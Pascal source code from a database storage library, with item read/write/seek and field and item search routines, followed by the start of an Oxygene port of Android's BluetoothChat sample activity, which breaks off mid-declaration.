dbItem_WriteRec(ItemHnd_.Item.RHeader.CurrentHeader, DB_.IOHnd, ItemHnd_.Item) = False then begin DB_.State := ItemHnd_.Item.State; Result := False; exit; end; ItemHnd_.Item.DataModification := False; Result := True; end; function db_ItemClose(var ItemHnd_: TItemHandle_; var DB_: TObjectDataHandle): Boolean; begin Result := db_ItemUpdate(ItemHnd_, DB_); if Result then ItemHnd_.OpenFlags := False; end; function db_ItemReName(const FieldPos: Int64; const NewItemName, NewItemDescription: U_String; var ItemHnd_: TItemHandle_; var DB_: TObjectDataHandle): Boolean; var SenderSearchHnd: TSearchItem_; begin if ItemHnd_.OpenFlags = False then begin DB_.State := DB_CloseItemError; Result := False; exit; end; if db_FastFindFirstItem(FieldPos, NewItemName, ItemHnd_.ItemExtID, SenderSearchHnd, DB_) then if (ItemHnd_.Name = NewItemName) then begin DB_.State := DB_ItemNameError; Result := False; exit; end; // fixed by qq600585,2018-12 // Header has a certain chance of being changed by other item operation during the opening of item if dbHeader_ReadReservedRec(ItemHnd_.Item.RHeader.CurrentHeader, DB_.IOHnd, ItemHnd_.Item.RHeader) = False then begin DB_.State := ItemHnd_.Item.State; Result := False; exit; end; ItemHnd_.Name := NewItemName; ItemHnd_.Description := NewItemDescription; ItemHnd_.Item.RHeader.Name := ItemHnd_.Name; ItemHnd_.Item.Description := ItemHnd_.Description; if dbItem_WriteRec(ItemHnd_.Item.RHeader.CurrentHeader, DB_.IOHnd, ItemHnd_.Item) = False then begin DB_.State := ItemHnd_.Item.State; Result := False; exit; end; DB_.State := DB_ok; Result := True; end; function db_ItemRead(const Size: Int64; var Buffers; var ItemHnd_: TItemHandle_; var DB_: TObjectDataHandle): Boolean; begin if ItemHnd_.OpenFlags = False then begin DB_.State := DB_OpenItemError; Result := False; exit; end; if dbItem_BlockReadData(DB_.IOHnd, ItemHnd_.Item, Buffers, Size) = False then begin DB_.State := ItemHnd_.Item.State; Result := False; exit; end; DB_.State := DB_ok; Result := True; end; function db_ItemWrite(const Size: Int64; var Buffers; var ItemHnd_: TItemHandle_; var DB_: TObjectDataHandle): Boolean; begin if ItemHnd_.OpenFlags = False then begin DB_.State := DB_OpenItemError; Result := False; exit; end; if dbItem_BlockWriteData(DB_.IOHnd, ItemHnd_.Item, Buffers, Size) = False then begin DB_.State := ItemHnd_.Item.State; Result := False; exit; end; DB_.State := DB_ok; Result := True; end; function db_ItemSeekPos(const fPos: Int64; var ItemHnd_: TItemHandle_; var DB_: TObjectDataHandle): Boolean; begin if ItemHnd_.OpenFlags = False then begin DB_.State := DB_OpenItemError; Result := False; exit; end; if dbItem_BlockSeekPOS(DB_.IOHnd, ItemHnd_.Item, fPos) = False then begin DB_.State := ItemHnd_.Item.State; Result := False; exit; end; DB_.State := DB_ok; Result := True; end; function db_ItemSeekStartPos(var ItemHnd_: TItemHandle_; var DB_: TObjectDataHandle): Boolean; begin if ItemHnd_.OpenFlags = False then begin DB_.State := DB_OpenItemError; Result := False; exit; end; if dbItem_BlockSeekStartPOS(DB_.IOHnd, ItemHnd_.Item) = False then begin DB_.State := ItemHnd_.Item.State; Result := False; exit; end; DB_.State := DB_ok; Result := True; end; function db_ItemSeekLastPos(var ItemHnd_: TItemHandle_; var DB_: TObjectDataHandle): Boolean; begin if ItemHnd_.OpenFlags = False then begin DB_.State := DB_OpenItemError; Result := False; exit; end; if dbItem_BlockSeekLastPOS(DB_.IOHnd, ItemHnd_.Item) = False then begin DB_.State := ItemHnd_.Item.State; Result := False; exit; end; DB_.State := DB_ok; Result := True; end; function db_ItemGetPos(var ItemHnd_: TItemHandle_; var DB_: TObjectDataHandle): Int64; begin if ItemHnd_.OpenFlags = False then begin DB_.State := DB_OpenItemError; Result := 0; exit; end; Result := dbItem_BlockGetPOS(DB_.IOHnd, ItemHnd_.Item); end; function db_ItemGetSize(var ItemHnd_: TItemHandle_; var DB_: TObjectDataHandle): Int64; begin if ItemHnd_.OpenFlags = False then begin DB_.State := DB_OpenItemError; Result := 0; exit; end; Result := ItemHnd_.Item.Size; end; function db_AppendItemSize(var ItemHnd_: TItemHandle_; const Size: Int64; var DB_: TObjectDataHandle): Boolean; var SwapBuffers: array [0 .. C_MaxBufferFragmentSize] of Byte; i: Integer; begin if ItemHnd_.OpenFlags = False then begin DB_.State := DB_OpenItemError; Result := False; exit; end; if dbItem_BlockSeekLastPOS(DB_.IOHnd, ItemHnd_.Item) = False then begin DB_.State := ItemHnd_.Item.State; Result := False; exit; end; if Size > C_MaxBufferFragmentSize then begin for i := 1 to (Size div C_MaxBufferFragmentSize) do begin if dbItem_BlockWriteData(DB_.IOHnd, ItemHnd_.Item, SwapBuffers, C_MaxBufferFragmentSize) = False then begin DB_.State := ItemHnd_.Item.State; Result := False; exit; end; end; if dbItem_BlockWriteData(DB_.IOHnd, ItemHnd_.Item, SwapBuffers, (Size mod C_MaxBufferFragmentSize)) = False then begin DB_.State := ItemHnd_.Item.State; Result := False; exit; end; DB_.State := DB_ok; Result := True; exit; end; if dbItem_BlockWriteData(DB_.IOHnd, ItemHnd_.Item, SwapBuffers, Size) = False then begin DB_.State := ItemHnd_.Item.State; Result := False; exit; end; DB_.State := DB_ok; Result := True; end; function db_ExistsRootField(const Name: U_String; var DB_: TObjectDataHandle): Boolean; var f: TField; begin if DB_.RootHeaderCount = 0 then begin DB_.State := DB_PathNameError; Result := False; exit; end; if dbHeader_ReadRec(DB_.DefaultFieldPOS, DB_.IOHnd, f.RHeader) = False then begin DB_.State := f.RHeader.State; Result := False; exit; end; if (dbMultipleMatch(Name, f.RHeader.Name) = True) and (f.RHeader.ID = DB_Header_Field_ID) then begin DB_.State := DB_ok; Result := True; exit; end; if DB_.RootHeaderCount = 1 then begin DB_.State := DB_PathNameError; Result := False; exit; end; if dbHeader_ReadRec(f.RHeader.NextHeader, DB_.IOHnd, f.RHeader) = False then begin DB_.State := f.RHeader.State; Result := False; exit; end; if (dbMultipleMatch(Name, f.RHeader.Name) = True) and (f.RHeader.ID = DB_Header_Field_ID) then begin DB_.State := DB_ok; Result := True; exit; end; while f.RHeader.CurrentHeader <> DB_.DefaultFieldPOS do begin if dbHeader_ReadRec(f.RHeader.NextHeader, DB_.IOHnd, f.RHeader) = False then begin DB_.State := f.RHeader.State; Result := False; exit; end; if (dbMultipleMatch(Name, f.RHeader.Name) = True) and (f.RHeader.ID = DB_Header_Field_ID) then begin DB_.State := DB_ok; Result := True; exit; end; end; DB_.State := DB_PathNameError; Result := False; end; function db_FindFirstHeader(const pathName, FilterName: U_String; const ID: Byte; var SenderSearch: TSearchHeader_; var DB_: TObjectDataHandle): Boolean; var f: TField; begin if db_GetField(pathName, f, DB_) = False then begin Result := False; exit; end; if dbField_FindFirst(FilterName, ID, f.RHeader.CurrentHeader, DB_.IOHnd, SenderSearch.FieldSearch) = False then begin DB_.State := SenderSearch.FieldSearch.State; Result := False; exit; end; SenderSearch.Name := SenderSearch.FieldSearch.RHeader.Name; SenderSearch.ID := SenderSearch.FieldSearch.RHeader.ID; SenderSearch.CreateTime := SenderSearch.FieldSearch.RHeader.CreateTime; SenderSearch.ModificationTime := SenderSearch.FieldSearch.RHeader.ModificationTime; SenderSearch.HeaderPOS := SenderSearch.FieldSearch.RHeader.CurrentHeader; SenderSearch.CompleteCount := 1; DB_.State := SenderSearch.FieldSearch.State; Result := True; end; function db_FindNextHeader(var SenderSearch: TSearchHeader_; var DB_: TObjectDataHandle): Boolean; begin if dbField_FindNext(DB_.IOHnd, SenderSearch.FieldSearch) = False then begin DB_.State := SenderSearch.FieldSearch.State; Result := False; exit; end; SenderSearch.Name := SenderSearch.FieldSearch.RHeader.Name; SenderSearch.ID := SenderSearch.FieldSearch.RHeader.ID; SenderSearch.CreateTime := SenderSearch.FieldSearch.RHeader.CreateTime; SenderSearch.ModificationTime := SenderSearch.FieldSearch.RHeader.ModificationTime; SenderSearch.HeaderPOS := SenderSearch.FieldSearch.RHeader.CurrentHeader; SenderSearch.CompleteCount := SenderSearch.CompleteCount + 1; DB_.State := SenderSearch.FieldSearch.State; Result := True; end; function db_FindLastHeader(const pathName, FilterName: U_String; const ID: Byte; var SenderSearch: TSearchHeader_; var DB_: TObjectDataHandle): Boolean; var f: TField; begin if db_GetField(pathName, f, DB_) = False then begin Result := False; exit; end; if dbField_FindLast(FilterName, ID, f.RHeader.CurrentHeader, DB_.IOHnd, SenderSearch.FieldSearch) = False then begin DB_.State := SenderSearch.FieldSearch.State; Result := False; exit; end; SenderSearch.Name := SenderSearch.FieldSearch.RHeader.Name; SenderSearch.ID := SenderSearch.FieldSearch.RHeader.ID; SenderSearch.CreateTime := SenderSearch.FieldSearch.RHeader.CreateTime; SenderSearch.ModificationTime := SenderSearch.FieldSearch.RHeader.ModificationTime; SenderSearch.HeaderPOS := SenderSearch.FieldSearch.RHeader.CurrentHeader; SenderSearch.CompleteCount := 1; DB_.State := SenderSearch.FieldSearch.State; Result := True; end; function db_FindPrevHeader(var SenderSearch: TSearchHeader_; var DB_: TObjectDataHandle): Boolean; begin if dbField_FindPrev(DB_.IOHnd, SenderSearch.FieldSearch) = False then begin DB_.State := SenderSearch.FieldSearch.State; Result := False; exit; end; SenderSearch.Name := SenderSearch.FieldSearch.RHeader.Name; SenderSearch.ID := SenderSearch.FieldSearch.RHeader.ID; SenderSearch.CreateTime := SenderSearch.FieldSearch.RHeader.CreateTime; SenderSearch.ModificationTime := SenderSearch.FieldSearch.RHeader.ModificationTime; SenderSearch.HeaderPOS := SenderSearch.FieldSearch.RHeader.CurrentHeader; SenderSearch.CompleteCount := SenderSearch.CompleteCount + 1; DB_.State := SenderSearch.FieldSearch.State; Result := True; end; function db_FindFirstItem(const pathName, FilterName: U_String; const ItemExtID: Byte; var SenderSearch: TSearchItem_; var DB_: TObjectDataHandle): Boolean; var f: TField; itm: TItem; begin if db_GetField(pathName, f, DB_) = False then begin Result := False; exit; end; if dbField_FindFirstItem(FilterName, ItemExtID, f.RHeader.CurrentHeader, DB_.IOHnd, SenderSearch.FieldSearch, itm) = False then begin DB_.State := SenderSearch.FieldSearch.State; Result := False; exit; end; SenderSearch.Name := SenderSearch.FieldSearch.RHeader.Name; SenderSearch.Description := itm.Description; SenderSearch.ExtID := itm.ExtID; SenderSearch.Size := itm.Size; SenderSearch.HeaderPOS := SenderSearch.FieldSearch.RHeader.CurrentHeader; SenderSearch.CompleteCount := 1; DB_.State := SenderSearch.FieldSearch.State; Result := True; end; function db_FindNextItem(var SenderSearch: TSearchItem_; const ItemExtID: Byte; var DB_: TObjectDataHandle): Boolean; var itm: TItem; begin if dbField_FindNextItem(ItemExtID, DB_.IOHnd, SenderSearch.FieldSearch, itm) = False then begin DB_.State := SenderSearch.FieldSearch.State; Result := False; exit; end; SenderSearch.Name := SenderSearch.FieldSearch.RHeader.Name; SenderSearch.Description := itm.Description; SenderSearch.ExtID := itm.ExtID; SenderSearch.Size := itm.Size; SenderSearch.HeaderPOS := SenderSearch.FieldSearch.RHeader.CurrentHeader; SenderSearch.CompleteCount := SenderSearch.CompleteCount + 1; DB_.State := SenderSearch.FieldSearch.State; Result := True; end; function db_FindLastItem(const pathName, FilterName: U_String; const ItemExtID: Byte; var SenderSearch: TSearchItem_; var DB_: TObjectDataHandle): Boolean; var f: TField; itm: TItem; begin if db_GetField(pathName, f, DB_) = False then begin Result := False; exit; end; if dbField_FindLastItem(FilterName, ItemExtID, f.RHeader.CurrentHeader, DB_.IOHnd, SenderSearch.FieldSearch, itm) = False then begin DB_.State := SenderSearch.FieldSearch.State; Result := False; exit; end; SenderSearch.Name := SenderSearch.FieldSearch.RHeader.Name; SenderSearch.Description := itm.Description; SenderSearch.ExtID := itm.ExtID; SenderSearch.Size := itm.Size; SenderSearch.HeaderPOS := SenderSearch.FieldSearch.RHeader.CurrentHeader; SenderSearch.CompleteCount := 1; DB_.State := SenderSearch.FieldSearch.State; Result := True; end; function db_FindPrevItem(var SenderSearch: TSearchItem_; const ItemExtID: Byte; var DB_: TObjectDataHandle): Boolean; var itm: TItem; begin if dbField_FindPrevItem(ItemExtID, DB_.IOHnd, SenderSearch.FieldSearch, itm) = False then begin DB_.State := SenderSearch.FieldSearch.State; Result := False; exit; end; SenderSearch.Name := SenderSearch.FieldSearch.RHeader.Name; SenderSearch.Description := itm.Description; SenderSearch.ExtID := itm.ExtID; SenderSearch.Size := itm.Size; SenderSearch.HeaderPOS := SenderSearch.FieldSearch.RHeader.CurrentHeader; SenderSearch.CompleteCount := SenderSearch.CompleteCount + 1; DB_.State := SenderSearch.FieldSearch.State; Result := True; end; function db_FastFindFirstItem(const FieldPos: Int64; const FilterName: U_String; const ItemExtID: Byte; var SenderSearch: TSearchItem_; var DB_: TObjectDataHandle): Boolean; var itm: TItem; begin if dbField_FindFirstItem(FilterName, ItemExtID, FieldPos, DB_.IOHnd, SenderSearch.FieldSearch, itm) = False then begin DB_.State := SenderSearch.FieldSearch.State; Result := False; exit; end; SenderSearch.Name := SenderSearch.FieldSearch.RHeader.Name; SenderSearch.Description := itm.Description; SenderSearch.ExtID := itm.ExtID; SenderSearch.Size := itm.Size; SenderSearch.HeaderPOS := SenderSearch.FieldSearch.RHeader.CurrentHeader; SenderSearch.CompleteCount := 1; DB_.State := SenderSearch.FieldSearch.State; Result := True; end; function db_FastFindNextItem(var SenderSearch: TSearchItem_; const ItemExtID: Byte; var DB_: TObjectDataHandle): Boolean; var itm: TItem; begin if dbField_FindNextItem(ItemExtID, DB_.IOHnd, SenderSearch.FieldSearch, itm) = False then begin DB_.State := SenderSearch.FieldSearch.State; Result := False; exit; end; SenderSearch.Name := SenderSearch.FieldSearch.RHeader.Name; SenderSearch.Description := itm.Description; SenderSearch.ExtID := itm.ExtID; SenderSearch.Size := itm.Size; SenderSearch.HeaderPOS := SenderSearch.FieldSearch.RHeader.CurrentHeader; SenderSearch.CompleteCount := SenderSearch.CompleteCount + 1; DB_.State := SenderSearch.FieldSearch.State; Result := True; end; function db_FastFindLastItem(const FieldPos: Int64; const FilterName: U_String; const ItemExtID: Byte; var SenderSearch: TSearchItem_; var DB_: TObjectDataHandle): Boolean; var itm: TItem; begin if dbField_FindLastItem(FilterName, ItemExtID, FieldPos, DB_.IOHnd, SenderSearch.FieldSearch, itm) = False then begin DB_.State := SenderSearch.FieldSearch.State; Result := False; exit; end; SenderSearch.Name := SenderSearch.FieldSearch.RHeader.Name; SenderSearch.Description := itm.Description; SenderSearch.ExtID := itm.ExtID; SenderSearch.Size := itm.Size; SenderSearch.HeaderPOS := SenderSearch.FieldSearch.RHeader.CurrentHeader; SenderSearch.CompleteCount := 1; DB_.State := SenderSearch.FieldSearch.State; Result := True; end; function db_FastFindPrevItem(var SenderSearch: TSearchItem_; const ItemExtID: Byte; var DB_: TObjectDataHandle): Boolean; var itm: TItem; begin if dbField_FindPrevItem(ItemExtID, DB_.IOHnd, SenderSearch.FieldSearch, itm) = False then begin DB_.State := SenderSearch.FieldSearch.State; Result := False; exit; end; SenderSearch.Name := SenderSearch.FieldSearch.RHeader.Name; SenderSearch.Description := itm.Description; SenderSearch.ExtID := itm.ExtID; SenderSearch.Size := itm.Size; SenderSearch.HeaderPOS := SenderSearch.FieldSearch.RHeader.CurrentHeader; SenderSearch.CompleteCount := SenderSearch.CompleteCount + 1; DB_.State := SenderSearch.FieldSearch.State; Result := True; end; function db_FindFirstField(const pathName, FilterName: U_String; var SenderSearch: TSearchField_; var DB_: TObjectDataHandle): Boolean; var f: TField; begin if db_GetField(pathName, f, DB_) = False then begin Result := False; exit; end; if dbField_FindFirst(FilterName, DB_Header_Field_ID, f.RHeader.CurrentHeader, DB_.IOHnd, SenderSearch.FieldSearch) = False then begin DB_.State := SenderSearch.FieldSearch.State; Result := False; exit; end; if dbField_OnlyReadFieldRec(SenderSearch.FieldSearch.RHeader.DataPosition, DB_.IOHnd, f) = False then begin DB_.State := f.State; Result := False; exit; end; SenderSearch.Name := SenderSearch.FieldSearch.RHeader.Name; SenderSearch.Description := f.Description; SenderSearch.HeaderCount := f.HeaderCount; SenderSearch.HeaderPOS := SenderSearch.FieldSearch.RHeader.CurrentHeader; SenderSearch.CompleteCount := 1; DB_.State := SenderSearch.FieldSearch.State; Result := True; end; function db_FindNextField(var SenderSearch: TSearchField_; var DB_: TObjectDataHandle): Boolean; var f: TField; begin if dbField_FindNext(DB_.IOHnd, SenderSearch.FieldSearch) = False then begin DB_.State := SenderSearch.FieldSearch.State; Result := False; exit; end; if dbField_OnlyReadFieldRec(SenderSearch.FieldSearch.RHeader.DataPosition, DB_.IOHnd, f) = False then begin DB_.State := f.State; Result := False; exit; end; SenderSearch.Name := SenderSearch.FieldSearch.RHeader.Name; SenderSearch.Description := f.Description; SenderSearch.HeaderCount := f.HeaderCount; SenderSearch.HeaderPOS := SenderSearch.FieldSearch.RHeader.CurrentHeader; SenderSearch.CompleteCount := SenderSearch.CompleteCount + 1; DB_.State := SenderSearch.FieldSearch.State; Result := True; end; function db_FindLastField(const pathName, FilterName: U_String; var SenderSearch: TSearchField_; var DB_: TObjectDataHandle): Boolean; var f: TField; begin if db_GetField(pathName, f, DB_) = False then begin Result := False; exit; end; if dbField_FindLast(FilterName, DB_Header_Field_ID, f.RHeader.CurrentHeader, DB_.IOHnd, SenderSearch.FieldSearch) = False then begin DB_.State := SenderSearch.FieldSearch.State; Result := False; exit; end; if dbField_OnlyReadFieldRec(SenderSearch.FieldSearch.RHeader.DataPosition, DB_.IOHnd, f) = False then begin DB_.State := f.State; Result := False; exit; end; SenderSearch.Name := SenderSearch.FieldSearch.RHeader.Name; SenderSearch.Description := f.Description; SenderSearch.HeaderCount := f.HeaderCount; SenderSearch.HeaderPOS := SenderSearch.FieldSearch.RHeader.CurrentHeader; SenderSearch.CompleteCount := 1; DB_.State := SenderSearch.FieldSearch.State; Result := True; end; function db_FindPrevField(var SenderSearch: TSearchField_; var DB_: TObjectDataHandle): Boolean; var f: TField; begin if dbField_FindPrev(DB_.IOHnd, SenderSearch.FieldSearch) = False then begin DB_.State := SenderSearch.FieldSearch.State; Result := False; exit; end; if dbField_OnlyReadFieldRec(SenderSearch.FieldSearch.RHeader.DataPosition, DB_.IOHnd, f) = False then begin DB_.State := f.State; Result := False; exit; end; SenderSearch.Name := SenderSearch.FieldSearch.RHeader.Name; SenderSearch.Description := f.Description; SenderSearch.HeaderCount := f.HeaderCount; SenderSearch.HeaderPOS := SenderSearch.FieldSearch.RHeader.CurrentHeader; SenderSearch.CompleteCount := SenderSearch.CompleteCount + 1; DB_.State := SenderSearch.FieldSearch.State; Result := True; end; function db_FastFindFirstField(const FieldPos: Int64; const FilterName: U_String; var SenderSearch: TSearchField_; var DB_: TObjectDataHandle): Boolean; var f: TField; begin if dbField_FindFirst(FilterName, DB_Header_Field_ID, FieldPos, DB_.IOHnd, SenderSearch.FieldSearch) = False then begin DB_.State := SenderSearch.FieldSearch.State; Result := False; exit; end; if dbField_OnlyReadFieldRec(SenderSearch.FieldSearch.RHeader.DataPosition, DB_.IOHnd, f) = False then begin DB_.State := f.State; Result := False; exit; end; SenderSearch.Name := SenderSearch.FieldSearch.RHeader.Name; SenderSearch.Description := f.Description; SenderSearch.HeaderCount := f.HeaderCount; SenderSearch.HeaderPOS := SenderSearch.FieldSearch.RHeader.CurrentHeader; SenderSearch.CompleteCount := 1; DB_.State := SenderSearch.FieldSearch.State; Result := True; end; function db_FastFindNextField(var SenderSearch: TSearchField_; var DB_: TObjectDataHandle): Boolean; var f: TField; begin if dbField_FindNext(DB_.IOHnd, SenderSearch.FieldSearch) = False then begin DB_.State := SenderSearch.FieldSearch.State; Result := False; exit; end; if dbField_OnlyReadFieldRec(SenderSearch.FieldSearch.RHeader.DataPosition, DB_.IOHnd, f) = False then begin DB_.State := f.State; Result := False; exit; end; SenderSearch.Name := SenderSearch.FieldSearch.RHeader.Name; SenderSearch.Description := f.Description; SenderSearch.HeaderCount := f.HeaderCount; SenderSearch.HeaderPOS := SenderSearch.FieldSearch.RHeader.CurrentHeader; SenderSearch.CompleteCount := SenderSearch.CompleteCount + 1; DB_.State := SenderSearch.FieldSearch.State; Result := True; end; function db_FastFindLastField(const FieldPos: Int64; const FilterName: U_String; var SenderSearch: TSearchField_; var DB_: TObjectDataHandle): Boolean; var f: TField; begin if dbField_FindLast(FilterName, DB_Header_Field_ID, FieldPos, DB_.IOHnd, SenderSearch.FieldSearch) = False then begin DB_.State := SenderSearch.FieldSearch.State; Result := False; exit; end; if dbField_OnlyReadFieldRec(SenderSearch.FieldSearch.RHeader.DataPosition, DB_.IOHnd, f) = False then begin DB_.State := f.State; Result := False; exit; end; SenderSearch.Name := SenderSearch.FieldSearch.RHeader.Name; SenderSearch.Description := f.Description; SenderSearch.HeaderCount := f.HeaderCount; SenderSearch.HeaderPOS := SenderSearch.FieldSearch.RHeader.CurrentHeader; SenderSearch.CompleteCount := 1; DB_.State := SenderSearch.FieldSearch.State; Result := True; end; function db_FastFindPrevField(var SenderSearch: TSearchField_; var DB_: TObjectDataHandle): Boolean; var f: TField; begin if dbField_FindPrev(DB_.IOHnd, SenderSearch.FieldSearch) = False then begin DB_.State := SenderSearch.FieldSearch.State; Result := False; exit; end; if dbField_OnlyReadFieldRec(SenderSearch.FieldSearch.RHeader.DataPosition, DB_.IOHnd, f) = False then begin DB_.State := f.State; Result := False; exit; end; SenderSearch.Name := SenderSearch.FieldSearch.RHeader.Name; SenderSearch.Description := f.Description; SenderSearch.HeaderCount := f.HeaderCount; SenderSearch.HeaderPOS := SenderSearch.FieldSearch.RHeader.CurrentHeader; SenderSearch.CompleteCount := SenderSearch.CompleteCount + 1; DB_.State := SenderSearch.FieldSearch.State; Result := True; end; function db_RecursionSearchFirst(const InitPath, FilterName: U_String; var SenderRecursionSearch: TRecursionSearch_; var DB_: TObjectDataHandle): Boolean; begin if db_GetField(InitPath, SenderRecursionSearch.CurrentField, DB_) = False then begin Result := False; exit; end; SenderRecursionSearch.SearchBuffGo := 0; if dbField_FindFirst(FilterName, DB_Header_Item_ID, SenderRecursionSearch.CurrentField.RHeader.CurrentHeader, DB_.IOHnd, SenderRecursionSearch.SearchBuff[SenderRecursionSearch.SearchBuffGo]) = False then begin if dbField_FindFirst('*', DB_Header_Field_ID, SenderRecursionSearch.CurrentField.RHeader.CurrentHeader, DB_.IOHnd, SenderRecursionSearch.SearchBuff[SenderRecursionSearch.SearchBuffGo]) = False then begin DB_.State := SenderRecursionSearch.SearchBuff[SenderRecursionSearch.SearchBuffGo].State; Result := False; exit; end; if dbField_OnlyReadFieldRec(SenderRecursionSearch.SearchBuff[SenderRecursionSearch.SearchBuffGo].RHeader.DataPosition, DB_.IOHnd, SenderRecursionSearch.CurrentField) = False then begin DB_.State := SenderRecursionSearch.CurrentField.State; Result := False; exit; end; SenderRecursionSearch.CurrentField.RHeader := SenderRecursionSearch.SearchBuff[SenderRecursionSearch.SearchBuffGo].RHeader; SenderRecursionSearch.ReturnHeader := SenderRecursionSearch.CurrentField.RHeader; SenderRecursionSearch.SearchBuffGo := SenderRecursionSearch.SearchBuffGo + 1; end else SenderRecursionSearch.ReturnHeader := SenderRecursionSearch.SearchBuff[SenderRecursionSearch.SearchBuffGo].RHeader; SenderRecursionSearch.InitPath := InitPath; SenderRecursionSearch.FilterName := FilterName; DB_.State := DB_ok; Result := True; end; function db_RecursionSearchNext(var SenderRecursionSearch: TRecursionSearch_; var DB_: TObjectDataHandle): Boolean; begin case SenderRecursionSearch.ReturnHeader.ID of DB_Header_Field_ID: begin if dbField_FindFirst(SenderRecursionSearch.FilterName, DB_Header_Item_ID, SenderRecursionSearch.CurrentField.RHeader.CurrentHeader, DB_.IOHnd, SenderRecursionSearch.SearchBuff[SenderRecursionSearch.SearchBuffGo]) then begin SenderRecursionSearch.ReturnHeader := SenderRecursionSearch.SearchBuff[SenderRecursionSearch.SearchBuffGo].RHeader; DB_.State := DB_ok; Result := True; exit; end; if dbField_FindFirst('*', DB_Header_Field_ID, SenderRecursionSearch.CurrentField.RHeader.CurrentHeader, DB_.IOHnd, SenderRecursionSearch.SearchBuff[SenderRecursionSearch.SearchBuffGo]) then begin if dbField_OnlyReadFieldRec(SenderRecursionSearch.SearchBuff[SenderRecursionSearch.SearchBuffGo].RHeader.DataPosition, DB_.IOHnd, SenderRecursionSearch.CurrentField) = False then begin DB_.State := SenderRecursionSearch.CurrentField.State; Result := False; exit; end; SenderRecursionSearch.CurrentField.RHeader := SenderRecursionSearch.SearchBuff[SenderRecursionSearch.SearchBuffGo].RHeader; SenderRecursionSearch.ReturnHeader := SenderRecursionSearch.CurrentField.RHeader; SenderRecursionSearch.SearchBuffGo := SenderRecursionSearch.SearchBuffGo + 1; DB_.State := DB_ok; Result := True; exit; end; if SenderRecursionSearch.SearchBuffGo = 0 then begin DB_.State := DB_RecursionSearchOver; Result := False; exit; end; SenderRecursionSearch.SearchBuffGo := SenderRecursionSearch.SearchBuffGo - 1; while dbField_FindNext(DB_.IOHnd, SenderRecursionSearch.SearchBuff[SenderRecursionSearch.SearchBuffGo]) = False do begin if SenderRecursionSearch.SearchBuffGo = 0 then begin DB_.State := DB_RecursionSearchOver; Result := False; exit; end; SenderRecursionSearch.SearchBuffGo := SenderRecursionSearch.SearchBuffGo - 1; end; if dbField_OnlyReadFieldRec(SenderRecursionSearch.SearchBuff[SenderRecursionSearch.SearchBuffGo].RHeader.DataPosition, DB_.IOHnd, SenderRecursionSearch.CurrentField) = False then begin DB_.State := SenderRecursionSearch.CurrentField.State; Result := False; exit; end; SenderRecursionSearch.CurrentField.RHeader := SenderRecursionSearch.SearchBuff[SenderRecursionSearch.SearchBuffGo].RHeader; SenderRecursionSearch.ReturnHeader := SenderRecursionSearch.CurrentField.RHeader; SenderRecursionSearch.SearchBuffGo := SenderRecursionSearch.SearchBuffGo + 1; DB_.State := DB_ok; Result := True; exit; end; DB_Header_Item_ID: begin if dbField_FindNext(DB_.IOHnd, SenderRecursionSearch.SearchBuff[SenderRecursionSearch.SearchBuffGo]) then begin SenderRecursionSearch.ReturnHeader := SenderRecursionSearch.SearchBuff[SenderRecursionSearch.SearchBuffGo].RHeader; DB_.State := DB_ok; Result := True; exit; end; if dbField_FindFirst('*', DB_Header_Field_ID, SenderRecursionSearch.CurrentField.RHeader.CurrentHeader, DB_.IOHnd, SenderRecursionSearch.SearchBuff[SenderRecursionSearch.SearchBuffGo]) then begin if dbField_OnlyReadFieldRec(SenderRecursionSearch.SearchBuff[SenderRecursionSearch.SearchBuffGo].RHeader.DataPosition, DB_.IOHnd, SenderRecursionSearch.CurrentField) = False then begin DB_.State := SenderRecursionSearch.CurrentField.State; Result := False; exit; end; SenderRecursionSearch.CurrentField.RHeader := SenderRecursionSearch.SearchBuff[SenderRecursionSearch.SearchBuffGo].RHeader; SenderRecursionSearch.ReturnHeader := SenderRecursionSearch.CurrentField.RHeader; SenderRecursionSearch.SearchBuffGo := SenderRecursionSearch.SearchBuffGo + 1; DB_.State := DB_ok; Result := True; exit; end; if SenderRecursionSearch.SearchBuffGo = 0 then begin DB_.State := DB_RecursionSearchOver; Result := False; exit; end; SenderRecursionSearch.SearchBuffGo := SenderRecursionSearch.SearchBuffGo - 1; while dbField_FindNext(DB_.IOHnd, SenderRecursionSearch.SearchBuff[SenderRecursionSearch.SearchBuffGo]) = False do begin if SenderRecursionSearch.SearchBuffGo = 0 then begin DB_.State := DB_RecursionSearchOver; Result := False; exit; end; SenderRecursionSearch.SearchBuffGo := SenderRecursionSearch.SearchBuffGo - 1; end; if dbField_OnlyReadFieldRec(SenderRecursionSearch.SearchBuff[SenderRecursionSearch.SearchBuffGo].RHeader.DataPosition, DB_.IOHnd, SenderRecursionSearch.CurrentField) = False then begin DB_.State := SenderRecursionSearch.CurrentField.State; Result := False; exit; end; SenderRecursionSearch.CurrentField.RHeader := SenderRecursionSearch.SearchBuff[SenderRecursionSearch.SearchBuffGo].RHeader; SenderRecursionSearch.ReturnHeader := SenderRecursionSearch.CurrentField.RHeader; SenderRecursionSearch.SearchBuffGo := SenderRecursionSearch.SearchBuffGo + 1; DB_.State := DB_ok; Result := True; exit; end; else begin Result := False; end; end; end; end.
namespace com.example.android.bluetoothchat; {* * Copyright (C) 2007 The Android Open Source Project * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *} interface uses java.io, java.util, android.app, android.bluetooth, android.content, android.os, android.util, android.view, android.view.inputmethod, android.widget; type /// <summary> /// This is the main Activity that displays the current chat session. /// </summary> BluetoothChat = public class(Activity, Handler.Callback) private // Debugging const TAG = 'BluetoothChat'; const D = true; // Intent request codes const REQUEST_CONNECT_DEVICE_SECURE = 1; const REQUEST_CONNECT_DEVICE_INSECURE = 2; const REQUEST_ENABLE_BT = 3; var mHandler: Handler; // Layout Views var mTitle: TextView; var mConversationView: ListView; var mOutEditText: EditText; var mSendButton: Button; // Name of the connected device var mConnectedDeviceName: String := nil; // Array adapter for the conversation thread var mConversationArrayAdapter: ArrayAdapter<String>; // String buffer for outgoing messages var mOutStringBuffer: StringBuffer; // Local Bluetooth adapter var mBluetoothAdapter: BluetoothAdapter := nil; // Member object for the chat services var mChatService: BluetoothChatService := nil; method setupChat; method ensureDiscoverable; method sendMessage(msg: String); method setStatus(resId: Integer); method setStatus(subTitle: CharSequence); method connectDevice(data: Intent; secure: Boolean); method handleMessage(msg: Message): Boolean; public // Message types sent from the BluetoothChatService Handler const MESSAGE_STATE_CHANGE = 1; const MESSAGE_READ = 